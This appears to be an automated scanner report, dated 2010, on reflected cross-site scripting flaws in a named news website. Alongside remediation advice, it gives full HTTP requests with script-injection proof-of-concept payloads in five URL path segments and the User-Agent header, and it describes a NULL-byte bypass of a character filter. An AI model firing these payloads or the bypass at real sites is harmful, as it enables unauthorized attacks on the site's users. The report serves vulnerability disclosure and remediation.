Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b1e4"><script>alert(1)</script>848a53b6555 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news8b1e4"><script>alert(1)</script>848a53b6555/2010/aug/05/barclays-bank-h1-net-profit-up-29-pct-to-39-bln/ HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NOT FOUND Date: Fri, 19 Nov 2010 23:53:48 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 126607 X-Varnish: 1516963255 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fe3a"><script>alert(1)</script>2ee8222a28c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/20102fe3a"><script>alert(1)</script>2ee8222a28c/aug/05/barclays-bank-h1-net-profit-up-29-pct-to-39-bln/ HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NOT FOUND Date: Fri, 19 Nov 2010 23:54:17 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 126541 X-Varnish: 2139997850 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6df02"><script>alert(1)</script>9c223c4de64 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/2010/aug6df02"><script>alert(1)</script>9c223c4de64/05/barclays-bank-h1-net-profit-up-29-pct-to-39-bln/ HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NOT FOUND Date: Fri, 19 Nov 2010 23:55:16 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 126607 X-Varnish: 1516965083 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a6d0"><script>alert(1)</script>71958491b76 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/2010/aug/053a6d0"><script>alert(1)</script>71958491b76/barclays-bank-h1-net-profit-up-29-pct-to-39-bln/ HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NOT FOUND Date: Fri, 19 Nov 2010 23:56:08 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 126607 X-Varnish: 2140000072 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52330"><script>alert(1)</script>8f59bc4729 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/2010/aug/05/barclays-bank-h1-net-profit-up-29-pct-to-39-bln52330"><script>alert(1)</script>8f59bc4729/ HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 NOT FOUND Date: Fri, 19 Nov 2010 23:57:57 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 126600 X-Varnish: 2140002696 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the User-Agent HTTP header is copied into an HTML comment. The payload %008502c--><script>alert(1)</script>2af61acfced was submitted in the User-Agent HTTP header. This input was echoed as 8502c--><script>alert(1)</script>2af61acfced in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /news/2010/aug/05/barclays-bank-h1-net-profit-up-29-pct-to-39-bln/?partner=RSS HTTP/1.1 Host: www.vcstar.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%008502c--><script>alert(1)</script>2af61acfced Connection: close
Response
HTTP/1.1 200 OK Date: Fri, 19 Nov 2010 23:53:55 GMT Server: Apache/2.2.3 (Red Hat) Vary: Cookie,Accept-Encoding X-LiveStats-Count: False Content-Type: text/html; charset=utf-8 Content-Length: 144724 X-Varnish: 1798712776 Age: 0 Via: 1.1 varnish X-Cache: MISS Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook. ...[SNIP]... <!-- User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%008502c--><script>alert(1)</script>2af61acfced --> ...[SNIP]...
Report generated by XSS.CX at Fri Nov 19 21:17:29 CST 2010.